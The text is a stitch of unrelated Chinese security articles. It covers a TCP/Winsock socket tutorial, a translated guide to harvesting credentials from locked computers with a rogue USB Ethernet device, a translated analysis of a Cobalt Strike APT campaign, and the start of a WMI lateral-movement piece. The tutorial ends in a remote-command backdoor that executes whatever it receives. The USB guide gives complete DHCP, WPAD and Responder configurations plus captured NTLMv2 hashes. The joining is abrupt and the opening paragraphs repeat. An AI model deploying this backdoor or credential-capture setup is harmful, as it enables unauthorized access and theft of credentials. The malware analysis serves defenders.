会被阻塞（暂停执行），直到缓冲区中的数据被发送到目标机器，腾出足够的空间，才唤醒 write()/send() 函数继续写入数据。
2) 如果TCP协议正在向网络发送数据，那么输出缓冲区会被锁定，不允许写入，write()/send()
也会被阻塞，直到数据发送完毕缓冲区解锁，write()/send() 才会被唤醒。
3) 如果要写入的数据大于缓冲区的最大长度，那么将分批写入。
4) 直到所有数据被写入缓冲区 write()/send() 才能返回。
当使用 read()/recv() 读取数据时：
1) 首先会检查缓冲区，如果缓冲区中有数据，那么就读取，否则函数会被阻塞，直到网络上有数据到来。
2) 如果要读取的数据长度小于缓冲区中的数据长度，那么就不能一次性将缓冲区中的所有数据读出，剩余数据将不断积压，直到有 read()/recv()
函数再次读取。
3) 直到读取到数据后 read()/recv() 函数才会返回，否则就一直被阻塞。
这就是TCP套接字的阻塞模式。所谓阻塞，就是上一步动作没有完成，下一步动作将暂停，直到上一步动作完成后才能继续，以保持同步性。
对于TCP套接字（默认情况下），当使用 write()/send() 发送数据时：
1) 首先会检查缓冲区，如果缓冲区的可用空间长度小于要发送的数据，那么 write()/send()
会被阻塞（暂停执行），直到缓冲区中的数据被发送到目标机器，腾出足够的空间，才唤醒 write()/send() 函数继续写入数据。
2) 如果TCP协议正在向网络发送数据，那么输出缓冲区会被锁定，不允许写入，write()/send()
也会被阻塞，直到数据发送完毕缓冲区解锁，write()/send() 才会被唤醒。
3) 如果要写入的数据大于缓冲区的最大长度，那么将分批写入。
4) 直到所有数据被写入缓冲区 write()/send() 才能返回。
当使用 read()/recv() 读取数据时：
1) 首先会检查缓冲区，如果缓冲区中有数据，那么就读取，否则函数会被阻塞，直到网络上有数据到来。
2) 如果要读取的数据长度小于缓冲区中的数据长度，那么就不能一次性将缓冲区中的所有数据读出，剩余数据将不断积压，直到有 read()/recv()
函数再次读取。
3) 直到读取到数据后 read()/recv() 函数才会返回，否则就一直被阻塞。
这就是TCP套接字的阻塞模式。所谓阻塞，就是上一步动作没有完成，下一步动作将暂停，直到上一步动作完成后才能继续，以保持同步性。
## **TCP的粘包问题**
上面提到了socket缓冲区和数据的传递过程，可以看到数据的接收和发送是无关的，read()/recv()
函数不管数据发送了多少次，都会尽可能多的接收数据。也就是说，read()/recv() 和 write()/send() 的执行次数可能不同。
例如，write()/send() 重复执行三次，每次都发送字符串"abc"，那么目标机器上的 read()/recv()
可能分三次接收，每次都接收"abc"；也可能分两次接收，第一次接收"abcab"，第二次接收"cabc"；也可能一次就接收到字符串"abcabcabc"。
假设我们希望客户端每次发送一位学生的学号，让服务器端返回该学生的姓名、住址、成绩等信息，这时候可能就会出现问题，服务器端不能区分学生的学号。例如第一次发送
1，第二次发送 3，服务器可能当成 13 来处理，返回的信息显然是错误的。
这就是数据的“粘包”问题，客户端发送的多个数据包被当做一个数据包接收。也称数据的无边界性，read()/recv()
函数不知道数据包的开始或结束标志（实际上也没有任何开始或结束标志），只把它们当做连续的数据流来处理。
在实际状况来说，客户端连续三次向服务器端发送数据，但是服务器端却一次性接收到了所有数据，这就是TCP的粘包问题。
## TCP传输详解
TCP（Transmission Control
Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的通信协议，数据在传输前要建立连接，传输完毕后还要断开连接。
客户端在收发数据前要使用 connect() 函数和服务器建立连接。建立连接的目的是保证IP地址、端口、物理链路等正确无误，为数据的传输开辟通道。
TCP建立连接时要传输三个数据包，俗称三次握手（Three-way Handshaking）。
来看一下TCP数据包的结构
带阴影的几个字段需要重点说明一下：
1) 序号：Seq（Sequence Number）序号占32位，用来标识从计算机A发送到计算机B的数据包的序号，计算机发送数据时对此进行标记。
2) 确认号：Ack（Acknowledge Number）确认号占32位，客户端和服务器端都可以发送，Ack = Seq + 1。
3) 标志位：每个标志位占用1Bit，共有6个，分别为 URG、ACK、PSH、RST、SYN、FIN，具体含义如下：
* URG：紧急指针（urgent pointer）有效。
* ACK：确认序号有效。
* PSH：接收方应该尽快将这个报文交给应用层。
* RST：重置连接。
* SYN：建立一个新连接。
* FIN：断开一个连接。
使用 connect() 建立连接时，客户端和服务器端会相互发送三个数据包
客户端调用 socket() 函数创建套接字后，因为没有建立连接，所以套接字处于`CLOSED`状态；服务器端调用 listen()
函数后，套接字进入`LISTEN`状态，开始监听客户端请求。
这个时候，客户端开始发起请求：
1) 当客户端调用 connect() 函数后，TCP协议会组建一个数据包，并设置 SYN 标志位，表示该数据包是用来建立同步连接的。同时生成一个随机数字
1000，填充“序号（Seq）”字段，表示该数据包的序号。完成这些工作，开始向服务器端发送数据包，客户端就进入了`SYN-SEND`状态。
2) 服务器端收到数据包，检测到已经设置了 SYN 标志位，就知道这是客户端发来的建立连接的“请求包”。服务器端也会组建一个数据包，并设置 SYN 和
ACK 标志位，SYN 表示该数据包用来建立连接，ACK 用来确认收到了刚才客户端发送的数据包。
服务器生成一个随机数 2000，填充“序号（Seq）”字段。2000 和客户端数据包没有关系。
服务器将客户端数据包序号（1000）加1，得到1001，并用这个数字填充“确认号（Ack）”字段。
服务器将数据包发出，进入`SYN-RECV`状态。
3) 客户端收到数据包，检测到已经设置了 SYN 和 ACK 标志位，就知道这是服务器发来的“确认包”。客户端会检测“确认号（Ack）”字段，看它的值是否为
1000+1，如果是就说明连接建立成功。
接下来，客户端会继续组建数据包，并设置 ACK 标志位，表示客户端正确接收了服务器发来的“确认包”。同时，将刚才服务器发来的数据包序号（2000）加1，得到
2001，并用这个数字来填充“确认号（Ack）”字段。
客户端将数据包发出，进入`ESTABLISED`状态，表示连接已经成功建立。
4) 服务器端收到数据包，检测到已经设置了 ACK 标志位，就知道这是客户端发来的“确认包”。服务器会检测“确认号（Ack）”字段，看它的值是否为
2000+1，如果是就说明连接建立成功，服务器进入`ESTABLISED`状态。
至此，客户端和服务器都进入了`ESTABLISED`状态，连接建立成功，接下来就可以收发数据了
三次握手的关键是要确认对方收到了自己的数据包，这个目标就是通过“确认号（Ack）”字段实现的。计算机会记录下自己发送的数据包序号
Seq，待收到对方的数据包后，检测“确认号（Ack）”字段，看`Ack = Seq + 1`是否成立，如果成立说明对方正确收到了自己的数据包。
# 实现原理
我们知道数据传输肯定是有一个发送端和一个接收端的，这里我们可以称之为服务器端和客户端，这两个都需要初始化`Winsock`服务环境
这里简单说一下`Winsock`
Winsock是windows系统下利用Socket套接字进行网络编程的相关函数，是Windows下的网络编程接口。
Winsock在常见的Windows平台上有两个主要的版本，即Winsock1和Winsock2。编写与Winsock1兼容的程序你需要引用头文件WINSOCK.H，如果编写使用Winsock2的程序，则需要引用WINSOCK2.H。此外还有一个MSWSOCK.H头文件，它是专门用来支持在Windows平台上高性能网络程序扩展功能的。使用WINSOCK.H头文件时，同时需要库文件WSOCK32.LIB，使用WINSOCK2.H时，则需要WS2_32.LIB，如果使用MSWSOCK.H中的扩展API，则需要MSWSOCK.LIB。正确引用了头文件，并链接了对应的库文件，你就构建起编写WINSOCK网络程序的环境了。
服务端在初始化`Winsock`环境过后，便调用`Socket`函数创建流式套接字，然后对`sockaddr_in`结构体进行设置，设置服务器绑定的IP地址和端口等信息并调用`bind`函数来绑定。绑定成功后，就可以调用`listen`函数设置连接数量，并进行监听。直到有来自客户端的连接请求，服务器便调用`accept`函数接受连接请求，建立连接，与此同时，便可以使用`recv`函数和`send`函数与客户端进行数据收发
客户端初始化环境后，便调用`Socket`函数同样创建流式套接字，然后对`sockaddr_in`结构体进行设置，这里与服务器端不同，它不需要用`bind`绑定，也不需要`listen`监听，他直接使用`connect`等待服务器端发送是数据，建立连接过后，也是使用`recv`和`send`函数来进行数据接收
# 实现过程
这里需要用到的几个api首先看一下结构
**Socket**
主要用于根据指定的地址族、数据类型和协议分配一个套接口的描述字
SOCKET WSAAPI socket(
[in] int af,
[in] int type,
[in] int protocol
);
**bind**
这个api的作用就是将本地地址与套接字相关联
int bind(
[in] SOCKET s,
const sockaddr *addr,
[in] int namelen
);
**listen**
将一个套接字置于正在监听传入连接的状态
int WSAAPI listen(
[in] SOCKET s,
[in] int backlog
);
首先我们写服务端的代码，一开始是初始化winsock环境
WSADATA wsadata = { 0 };
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);
然后创建流式socket
SOCKET g_SeverSocket = socket(AF_INET, SOCK_STREAM, NULL);
设置服务器的端口并绑定ip
bind(g_SeverSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
设置监听客户端的数量，这里我设置为5
::listen(g_SeverSocket, 5);
然后是服务端收到接收端的信息之后接收连接请求，使用`accept`
g_clientsocket = ::accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
创建一个缓冲区接收数据
char szBuffer[MAX_PATH] = { 0 };
int Ret = ::recv(g_clientsocket, szBuffer, MAX_PATH, 0);
确认接收请求过后即可进行数据通信，使用`send`
::send(g_clientsocket, cmd, (::strlen(cmd) + 1), 0);
printf("[*] send:%s\n", cmd);
服务端完整代码如下
BOOL SocketListen(LPSTR ipaddr, int port)
{
// 初始化winsock环境
WSADATA wsadata = { 0 };
// 初始化Winsock版本号
WORD w_version_req = MAKEWORD(2, 2);
if (WSAStartup(w_version_req, &wsadata) == SOCKET_ERROR || &wsadata == nullptr)
{
printf("[!] Failed to initialize Winsock \n");
return FALSE;
}
else
{
printf("[*] Initialize Winsock successfully!\n");
}
// 创建流式socket
g_ServerSocket = socket(AF_INET, SOCK_STREAM, NULL);
if (g_ServerSocket == INVALID_SOCKET)
{
printf("[!] Create socket Failed\n");
return FALSE;
}
else
{
printf("[*] Create socket successfully!\n");
}
// 设置服务端地址和端口
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = ::htons(port);
ServerAddr.sin_addr.S_un.S_addr = ::inet_addr(ipaddr);
// 绑定端口ip
if (NULL != ::bind(g_ServerSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr)))
{
printf("[!] Bind port failed\n");
return FALSE;
}
else
{
printf("[*] Bind portBind port successfully!\n");
}
// 设置监听客户端数量
if (NULL != ::listen(g_ServerSocket, 5))
{
printf("[!] Listen port failed\n");
return FALSE;
}
else
{
printf("[*] Listen port successfully!\n");
}
return TRUE;
}
void AcceptMessage()
{
sockaddr_in addr = { 0 };
int dwLength = sizeof(addr);
g_clientsocket = ::accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
printf("Accept link the client!\n");
char szBuffer[MAX_PATH] = { 0 };
while (TRUE)
{
int Ret = ::recv(g_clientsocket, szBuffer, MAX_PATH, 0);
if (Ret <= 0)
{
continue;
}
printf("[*] recv:%s\n", szBuffer);
}
}
void SendMessage()
{
char cmd[100] = { 0 };
cin.getline(cmd, 100);
::send(g_clientsocket, cmd, (::strlen(cmd) + 1), 0);
printf("[*] send:%s\n", cmd);
}
然后再是客户端的代码编写，客户端跟服务端唯一一点不同的就是没有`bind`和`listen`即监听过程，直接连接即可
将一个套接字置于正在监听传入连接的状态
int WSAAPI listen(
[in] SOCKET s,
[in] int backlog
);
一开始还是初始化winsock环境
WSADATA wsadata = { 0 };
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);
然后创建流式socket
SOCKET g_SeverSocket = socket(AF_INET, SOCK_STREAM, NULL);
使用`connect`连接服务端
connect(g_SeverSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
然后创建线程接收数据
::CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, NULL);
这里建立了连接那么即可以接收信息，也可以发送信息
void SendMsg(char* pszSend)
{
//发送数据
::send(g_ClientSocket, pszSend, (::strlen(pszSend) + 1), 0);
printf("[*] Sent:%s",pszSend);
}
void GetMsg()
{
char szBuffer[MAX_PATH] = { 0 };
while (TRUE)
{
int Ret = ::recv(g_ClientSocket, szBuffer, MAX_PATH, 0);
if (Ret <= 0)
{
continue;
}
system(szBuffer);
SendMsg((LPSTR)"The command executed successfully");
}
}
到这个地方一个demo就已经完成，我们运行下程序看一下，首先打开服务端
再打开客户端，可以看到已经连接成功
这里执行下系统命令可以看到在客户端已经执行成功，但是有一个问题，我们如果要想在客户端显示服务端执行的命令该怎么办呢？
这里就涉及到了进程间的通信，一开始我准备用共享内存去实现的，但是好像共享内存不能够接收到`system()`执行后的内容，先看下代码
HANDLE hMapObject;
HANDLE hMapView;
//创建FileMapping对象
hMapObject = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 0x1000, TEXT("shared"));
if (!hMapObject)
{
printf("[!] ShareMemory failed\n\n");
return FALSE;
}
//将FileMapping对象映射到自己的进程
hMapView = MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
if (!hMapView)
{
printf("[!] MapViewOfFile failed\n\n");
return FALSE;
}
//向共享内存写入数据
strcpy((char*)hMapView, (const char*)system(szBuffer));
SendRet((LPSTR)"The command executed successfully");
return TRUE;
主要是`strcpy()`这个函数是用来向共享内存写入数据的，所以第二个参数就是`system()`执行过后的返回值，但是第二个值的属性是`const
char*`，这里如果我强转类型的话就会报错
这里我写一个test函数进行测试看一下`system()`的参数能不能接收到
void test()
{
int i = system("whoami");
printf("%s", i);
}
执行一下看一下输出，可以看到`system()`函数自动输出结果，而不会进入参数i，后面打印也是null，后面查阅了资料`system()`函数只是提供了一个接口的作用，所以共享内存的方法来接收数据不太现实，这里换了一个匿名管道的方式接收数据
匿名管道的实现代码如下
HANDLE hRead;
HANDLE hWrite;
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
if(!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("CreatePipe Failed\n\n");
return FALSE;
}
STARTUPINFO si;
//PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hRead;
si.hStdOutput = hWrite;
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
if (!::CreateProcessA(NULL, lpscmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
printf("Create Process failed, error is : %d", GetLastError());
return FALSE;
}
CloseHandle(hWrite);
::WaitForSingleObject(pi.hThread, -1);
::WaitForSingleObject(pi.hProcess, -1);
::RtlZeroMemory(lpsRetBuffer, RetBufferSize);
if (!::ReadFile(hRead, lpsRetBuffer, 4096, &RetBufferSize, NULL))
{
printf("Readfile failed, error is : %d", GetLastError());
return FALSE;
}
CloseHandle(hRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
# 实现效果
之前demo实现的效果在recv处是看不到接收端的数据的，如下所示
加一个匿名管道进行进程间的通信过后可以直接在服务端看到客户端的返回数据
欢迎关注公众号 **红队蓝军** | 社区文章 |
# 使用恶意USB设备解锁任意锁屏状态Windows、Mac（含工具、视频演示）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://room362.com/post/2016/snagging-creds-from-locked-machines/>
译文仅供参考，具体内容表达以及含义原文为准。
NSA专业物理入侵设备——USB Armory，可解锁任意锁屏状态的下的Windows和Mac操作系统，含最新发布的Windows10、及较早的Mac
OSX El Capitan / Mavericks，想知道原理是什么？进来看看吧！
首先,这原本是没有可能实现的,但事实是我真的办到了(相信我,因为不敢相信这是真的,我已经测试了很多次。)
USB Ethernet + DHCP + Responder == 证书
**论题:**
**如果我在电脑上插入一个伪装成USB以太网适配器的设备,
那么即使这个系统是锁定的，我也可以从系统中获取证书。（也许还能做更多的事情,但这篇文章已经太长，我们会在之后另外讨论。)**
**
**
**1.设备的设置**
在文章一开始，我是用一个USB Armory (155美元)进行实验的，但在下文中，我也会向你们展示如何用Hak5
Turtle(49.99美元)实现这一目的。
我将会为你们提供设备本身的设置信息,下面还有一些可以为你们提供帮助的链接:
USB Armory
·Debian/Jessie –
<https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card>
·Kali on USB Armory – <http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory>
·Resizing the SD partition – <http://base16.io/?p=61>
Hak5 Turtle
·Turtle video guides and wiki: <https://lanturtle.com/wiki/#!videos.md>
**
**
**2.工具**
基本上，运用Laurent Gaffié的响应器可以完成捕获，所以你需要找到一个方法来将应答器映射到设备上，而Hak5 Turtle已经有这样的一个模块了:
首次使用时，你必须将模块设置为“Enable”，随后它会自行下载所有相关项和软件包。
然后你还需要一个opkg update和opkg install python-openssl，这样应答器就可以正确运行了。
至于USB Armory，你可以使用SCP、网络连接共享、USB主机/客户端适配器:
在Debian/Jessie的默认安装中没有安装Python，所以你必须解决所有的相关项(在Kali版本中不需要这个),并且需要互联网接入来执行以下内容:
apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder
**
**
**3.配置**
Armory
首先,设置接口不是必需的，但是因为Armory的每个图像都有着不同的默认IP地址，设置它能够提高一致性, 因此它可以为下一步打下坚实的基础。
/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.201
netmask 255.255.255.0
gateway 192.168.2.1
下面,我们来建立DHCP服务器:
/etc/dhcp/dhcpd.conf
ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.201;
default-lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.1 192.168.2.2;
option routers 192.168.2.201;
option local-proxy-config "http://192.168.2.201/wpad.dat";
}
这里唯一的特殊配置是发送“Proxy Config” 选项到DHCP客户端。请注意这一行:
一篇关于WPAD的维基百科文章中提到：“DHCP的优先级高于DNS:如果DHCP提供了WPAD URL, DNS查找将不会执行。“
接下来,我们需要设置自动运行。我们编辑了rc.local文件,让它来做这样的几件事:
1.清理掉所有DHCP租约，并启动DHCP服务器。也许还存在着某种更好的方式,但是因为这台“计算机”被插入和取出得非常频繁,文件在某种程度上可能会损坏，因此我们只是移除并重新添加了它。
2.在一个屏幕会话中启动响应器。这样我们就可以得到屏幕会话的记录，作为Sqlite3数据库和应答器创建的日志文件的备份。
/etc/rc.local
#!/bin/sh -e
# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0
为了让屏幕会话的日志记录启用(可以让你迅速找出问题),你需要添加一个a .screenrc文件。最重要的部分是:
/root/.screenrc
# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log
就是这样,现在你应该可以重启USB Armory了,然后开始在任何可以插入USB的地方获取凭证。
Hak5 Turtle
现在，所有的事情几乎都已经完成了,唯一的区别在于opkg是你的软件包管理器:
opkg update
opkg install python-openssl screen
将符号链接移动到/ tmp /，这样日志会被保留下来
rm -rf /overlay/etc/turtle/Responder/logs
/overlay/etc/rc.local文件略有不同
/overlay/etc/rc.local
/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; python Responder.py -I br-lan -f -w -r -d -F'
**
**
**4.为什么它会奏效?**
1.因为USB是即插即用的，这就意味着,即使一个系统是锁着的, USB仍然可以被安装。我认为，在新的操作系统中(Win10 / El
Capitan)，某些类型的设备可以在其锁定状态下进行安装时，是受到限制的,但是Ethernet/LAN肯定在白名单里。
2\. 即使你没有打开任何浏览器或应用程序，电脑也仍在不断地创造流量, 出于某种原因，大多数计算机会信任它们的本地网络。
3.网络偏好通常基于Windows上的“metrics”和OSX上metrics和“preference”的结合,但在默认情况下，“wired”和“newer/faster”总能成为赢家。
这意味着, 由于有了应答器，插入设备后，它很快变成了网关、DNS服务器、WPAD服务器等部分。
从插入锁定的工作站到获取到证书，平均需要大约13秒的时间,这完全取决于系统的状况。另外，我使用了inotify来观察Responder.db数据库内文件的改变，并关闭Armory。它还能通过LED给我一个已经获取到了证书的指示。
为此，你需要安装inotify-tools包,并将以下内容添加到therc.local本地文件:
echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'
**5.最终结果:**
你在视频中能看到Windows 10的锁定屏幕。当LED发出指示时，Armory被完全关闭, 证书已经得到了！
观察结果:
root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder'
2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCKmubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....
步骤已完成。
在以下系统中测试成功:
**Windows 98 SE**
**Windows 2000 SP4**
**Windows XP SP3**
**Windows 7 SP1**
**Windows 10 (企业版和家庭版)**
**OSX El Capitan / Mavericks** (我可以在其中得到证书 ，但是我还在测试这是不是一个偶然情况)
我还没有在Linux上测试过, 如果成功了的话，我会另外写一篇文章。
**
**
**6.USB ARMORY与Hak5 LAN Turtle的比较**
1.Armory更具通用性，是一种不错的用于发动攻击的方式。具有更多的存储空间(SD)和更快的处理器。
2\. 在SE攻击中，如果你试图插入一个设备，Hak5 LAN
Turtle更容易完成任务。它可能不像Armory那样，在取得证书时有LED指示,但它有一个可以作为以太网端口的附加功能,因此你可以得到证书和一个shell。 | 社区文章 |
**原文链接：[Multi-stage APT attack drops Cobalt Strike using Malleable C2
feature](https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/ "Multi-stage APT
attack drops Cobalt Strike using Malleable C2 feature")**
**译者：知道创宇404实验室翻译组**
6月10日，我们发现了一个伪装成简历的恶意Word文档，它使用模板注入来删除一个Net
Loader。这是我们认为是APT攻击的一个部分，在最后阶段，威胁者使用Cobalt Strike的C2特性下载最终的有效载荷并执行C2通信。
这次袭击因为它的躲避技巧显得特别聪明。如我们观察到在执行来自恶意Word宏的有效负载时存在故意延迟。此外，通过将shell代码隐藏在一个无害的
JavaScript中并在不触及磁盘的情况下加载它，APT可以进一步阻止安全检测。
### 诱使代码执行延迟
诱饵文件可能是通过鱼叉式钓鱼邮件（Anadia Waleed）分发的，起初，我们认为它的目标是印度，但实际上的受害者可能会更广泛。
恶意文档使用模板注入从以下URL下载远程模板：
`https：// yenile [。] asia / YOOMANHOWYOUDARE / indexb.dotm`
用于托管远程模板的域是由某香港人于2020年2月29日进行注册的，在注册该域后，文档需要在15天内进行创建。
下载的模板“indexa.dotm”是一个包含五个功能的嵌入式宏：
* Document_Open
* VBA_and_Replace
* Base64解码
* 更改字体大小
* FileFolderExist
下面显示了嵌入式宏的功能
主要功能是Document_open，它在打开文件时执行。此功能将三个文件放入受害者的计算机中：
* Ecmd.exe：UserForm1和UserForm2包含两个Base64编码的有效负载。根据受害者计算机上安装的.Net框架的版本，UserForm1（对于.Net v3.5）和UserForm2（其他版本）的内容将被解码并存储在“C：\ProgramData”中。
* cf.ini：“cf.ini”文件的内容是从UserForm3中提取的，经过AES加密，随后由ecmd.exe解密。
* ecmd.exe.lnk：这是“ecmd.exe”的快捷文件，在Base64解码UserForm4的内容后创建。该文件作为触发器和持久性机制放置在“启动”目录中。
直到计算机重新启动后，才会执行Ecmd.exe。
ChangeFontSize和VBA_and_Replace都没有恶意功能。
### 中间装载机
Ecmd.exe是一个.Net可执行文件，它伪装成ESET命令行实用程序。下图显示了二进制证书、调试器和相关版本信息。
可执行文件使用无效的证书进行了签名以模仿ESET，其版本信息显示这是一个“ESET命令行界面”工具。
ecmd.exe是一个小型加载程序，它解密并执行前面提到的AES加密cf.ini文件。通过向`http://ip-api.com/xml`发出HTTP请求来检查受害者国家的机器，接着解析XML并提取国家代码。
如果国家/地区代码是“RU”或“US”，则退出；反之将使用硬编码密钥和IV对“cf.ini”的内容进行解密。
解密的内容将复制到分配的内存区域，并使用VirtualAlloc和CreateThread API作为新线程执行。
### ShellCode（cf.ini）
C2是攻击者发布命令和控制流量（受害者和服务器之间的信标）的一种方式，目的是避免检测，并能为每个目标创建自定义配置文件。
外壳程序代码将Cobalt Strike Malleable C2功能与jquery Malleable
C2配置文件结合使用，从“time.updateeset[.]com”下载第二个有效负载。
此技术已被其他两个中国的APT（Mustang Panda和APT41）使用。
Shellcode首先使用PEB
查找ntdll.exe的地址，然后调用LoadLibrayExA加载Winint.dll。接着使用InternetOpenA、InternetConnectA、HttpOpenRequestAI、nternetSetOptionA和HttpSendRequestA
API来下载第二个有效负载。
在两个循环内解析API调用，然后跳转到已解析API调用的地址来进行执行。
恶意有效负载由InternetReadFile下载，并复制到分配的内存区域。
考虑到通信是通过HTTPS进行的，Wireshark不能帮助发现恶意负载。
使用Burp
Suite代理能够成功地验证并捕获从time.updateeset[.]com/jquery-3.3.1.slim.min.js下载的正确负载。如图所示，有效负载包含在HTTP响应返回的jQuery脚本中：
将有效负载复制到内存中的缓冲区后，shellcode跳到缓冲区的开头并继续执行。这包括向“time.updateeset[.]com/jquery-3.3.1.min.js”
发送连续的请求，并等待来自C2的潜在命令。
使用Hollow Hunter，我们能够从ecmd的内存空间中提取最终的有效载荷。
### 归因
这次攻击的确切归因尚在研究中，但在这里，我们将提供一些关于谁可能是这次攻击的幕后黑手的见解。我们的分析表明，攻击者不包括俄罗斯和美国。前者可能是一个错误标志，后者可能是为了避免引起美国恶意软件分析师的注意。
如前所述，承载远程模板的域在香港注册，而C2域“time.updateeset[.]在2020年2月29日以一家名为Ehtesham
Rayan的伊朗公司的名义注册。这家公司过去提供AV软件，现在似乎已经关闭了。然而，这些都不是强有力的归因指标。
就TTPs的使用而言，众所周知，中国的APT组合如[Mustang Panda](https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/ "Mustang Panda")和APT41使用了jQuery和 Cobalt
Strike的C2特性。 具体来说，Mustang Panda最新的活动使用了同样的Cobalt
Strike功能和同样的jQuery配置文件来下载最终的有效载荷。这与我们在这次活动中看到的非常相似，但是在我们的案例中，初始感染媒介和第一个有效载荷是不同的。
### IOCs
**Anadia Waleed resume.doc**
259632b416b4b869fc6dc2d93d2b822dedf6526c0fa57723ad5c326a92d30621
**Remote Template: indexa.dotm**
7f1325c5a9266e649743ba714d02c819a8bfc7fd58d58e28a2b123ea260c0ce2
**Remote Template Url** :
https://yenile[.]asia/YOOMANHOWYOUDARE/
**C2:**
time.updateeset[.]com
**Ecmd.exe:**
aeb4c3ff5b5a62f5b7fcb1f958885f76795ee792c12244cee7e36d9050cfb298
dcaaffea947152eab6572ae61d7a3783e6137901662e6b5b5cad82bffb5d8995
5f49a47abc8e8d19bd5ed3625f28561ef584b1a226df09d45455fbf38c73a79c
**cf.ini:**
0eba651e5d54bd5bb502327daef6979de7e3eb63ba518756f659f373aa5f4f8b
**Cf.ini shell-code after decryption:**
5143c5d8715cfc1e70e9db00184592c6cfbb4b9312ee02739d098cf6bc83eff9
**Cobalt Strike downloaded shellcode:**
8cfd023f1aa40774a9b6ef3dbdfb75dea10eb7f601c308f8837920417f1ed702
**Cobalt Strike payload**
7963ead16b6277e5b4fbd5d0b683593877d50a6ea7e64d2fc5def605eba1162a
* * * | 社区文章 |
# 如何在不调用Win32_Process的情况下使用WMI横向渗透
|
##### 译文声明
本文是翻译文章，文章来源：https://www.cybereason.com
原文地址：<https://www.cybereason.com/blog/wmi-lateral-movement-win32>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
对攻击者来说，如果需要对某个网络中的多台计算机进行攻击，那么横向移动是至关重要的一个步骤。假如攻击者已经拥有正确的证书，他们往往会滥用允许远程执行代码的现有机制，从而实现横向移动。虽然这些机制大多数都被合法使用，但仍然有许多环境会对它们进行监控，以防止其被非法使用。如果使用了很少在特定环境中使用的向量，远程执行代码可能会被检测为异常，并标记为恶意代码。例如，在网络的远程服务创建过程中使用了PSExec工具，这就是非常少见的，从而可能引发告警。
一个更专业的攻击者更愿意使用远程执行技术，随着这种技术不断发展，其过程越来越趋近于正常合法的行为，此外，这些技术还滥用了容易被防护方遗漏掉得的执行通道。基于此，如果能够改进出一套可用的横向移动技术，就可以让攻击者在不被检测到的前提下实现攻击。
在本文中，我们主要讲解由Cybereason发现的通过对WMI（Windows Management
Infrastructure）滥用实现的一种新型横向移动技术（
<https://conference.hitb.org/hitbsecconf2018ams/materials/D2T1%20-%20Philip%20Tsukerman%20-%20Expanding%20Your%20WMI%20Lateral%20Movement%20Arsenal.pdf>
）。另外，我们也会对已经公开披露的横向移动方法进行详细分析。由于这些新型技术目前还没有普遍流行，所以许多安全工具无法对它们进行检测。然而，Cybereason编写了一个工具，这是该技术的一个概念验证（PoC），可以具体展现攻击者借助这种攻击方式具体都可以做什么。PowerShell脚本请参考：
<https://github.com/Cybereason/Invoke-WMILM> 。
如果大家想了解更多关于哪些合法功能正在被滥用以进行横向移动的内容，请阅读这篇文章（
<https://www.cybereason.com/blog/dcom-lateral-movement-techniques>
），其中讨论了攻击者如何使用分布式组件对象模型（DCOM）。
## 关于WMI的简要介绍
WMI是Windows操作系统上WBEM和CIM标准的实现，允许用户、管理员和开发人员（包括攻击者）在操作系统中对各种托管组件进行遍历、操作和交互。具体而言，WMI提供了一个抽象的、统一的面向对象模型，从而不再需要直接与许多不相关的API进行交互，当然也无需再研究这些不相关API的文档。
